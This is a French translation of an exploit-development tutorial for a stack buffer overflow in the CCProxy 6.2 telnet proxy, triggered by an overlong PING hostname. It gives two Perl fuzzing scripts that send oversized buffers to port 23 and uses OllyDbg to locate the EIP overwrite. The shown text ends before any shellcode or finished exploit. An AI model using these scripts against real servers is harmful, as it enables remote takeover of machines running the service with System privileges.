CCproxy_BOF_FR.pdf

(128 KB) Pobierz
Exploitation de CCproxy 6.2
Par Som[z0mbi3]
www.z0mbi3.info
Traduction française : Jérôme ATHIAS
Tout d’abord ; l’Introduction
Le Serveur Proxy CCProxy permet à tous les ordinateurs du LAN d’accéder à Internet à travers une unique
connexion Internet. Il y a seulement besoin d’installer le Serveur Proxy CCProxy sur le serveur qui peut
accéder à Internet directement et les autres PC clients pourront se connecter à Internet à travers le logiciel
Proxy. Cela vous fournira une solution de partage de connexion Internet bon marché sans perdre de temps.
La fonctionnalité à laquelle je vais m’intéresser est son serveur proxy telnet.
CCProxy permet à l’utilisateur de configurer le programme en service. Ainsi CCProxy tourne avec les
privilèges System.
La vulnérabilité apparaît lorsque l’on appelle la commande
PING <hostname>
où hostname est très long
Nous avons seulement besoin de savoir de combien.
Prenons un exemple, disons 1000.
Utilisons un petit script Perl pour envoyer le buffer.
Il peut être utilisé comme suit :
ccproxytest.pl <longueur du buffer>
Par exemple :
ccproxytest.pl 1000
2
# !/usr/bin/perl
#Code de test pour trouver la longueur du buffer
use IO ::Socket ;
my $buffer="A"xARGV[0];
#Pour lancer le code : ccproxytest.pl <longueur du buffer>
my $connexion = IO ::Socket ::INET->new (
Proto => "tcp",
PeerAddr => "127.0.0.1",
PeerPort => "23",
) or die "\nIMPOSSIBLE DE SE CONNECTER\n";
$connexion->autoflush(1) ;
#Affiche la réponse de CCProxy
my $data=<$connexion> ;
print $data ;
#Envoi de la commande
print $connexion "PING $buffer\r\n";
close($connexion);
Nous testons ce script en incrémentant la valeur passée en paramètre (1000, 1010, 1020) :
A vaut 41 en hexadécimal et il semble que cela a réécris quelque chose d’important.
3
Cela veut dire qu’il est temps de sortir l’artillerie lourde : Ollydbg !!!
On lance donc OllyDbg et on l’attache au processus CCProxy.exe.
Puis on relance le même code (ccproxytest.pl 1020).
Les AAA sont en dessous de ESP.
Les AAA ont réécrits EIP.
Dès lors on rajoute des AAA pour voir si l’on peut obtenir 41414141 dans l’un de ces registres.
Avec 1030 nous voyons quelque chose. Allez allez les41 !
Avec 1040 :
Le problème est maintenant ces A avant ou après.
Pour résoudre ceci, on va utiliser une solution, longue mais qui va fonctionner. Si quelqu’un en connaît une
meilleure, apprenez la moi
Source de ccproxytest2.pl modifié pour voir ce qu’il y a sur la pile.
Je veux changer l’EIP en XXXX (58585858)
4
#!/usr/bin/perl
#Code de test pour trouver la longueur du buffer
use IO::Socket;
#On construit le buffer:
my $buffer = "A"x100;
$buffer .= "B"x100;
$buffer .= "C"x100;
$buffer .= "D"x100;
$buffer .= "E"x100;
$buffer .= "F"x100;
$buffer .= "G"x100;
$buffer .= "H"x100;
$buffer .= "I"x100;
$buffer .= "J"x100;
$buffer .= "K"x12;
$buffer .= "XXXX"; #Pour réécrire EIP
$buffer .= "K"x24;
$buffer .= "Z"x$ARGV[0]; #On en rajoute au buffer
#Pour lancer ce code: ccproxytest2.pl <longueur_du_buffer>
#On ouvre la connection:
my $connection = IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>"127.0.0.1",
PeerPort=>"23",)
or die "\nIMPOSSIBLE DE SE CONNECTER\n";
$connection->autoflush(1);
#On récupère et on affiche ce que CCproxy répond:
my $data = <$connection>;
print $data;
#On envoie la commande PING:
print $connection "PING $buffer\r\n";
#On ferme la connection:
close($connection);
Dès lors, au fur et à mesure que vous allez incrémenter le buffer, vous verrez apparaître plus de A, puis des
B… après l’ESP.
5
Zgłoś jeśli naruszono regulamin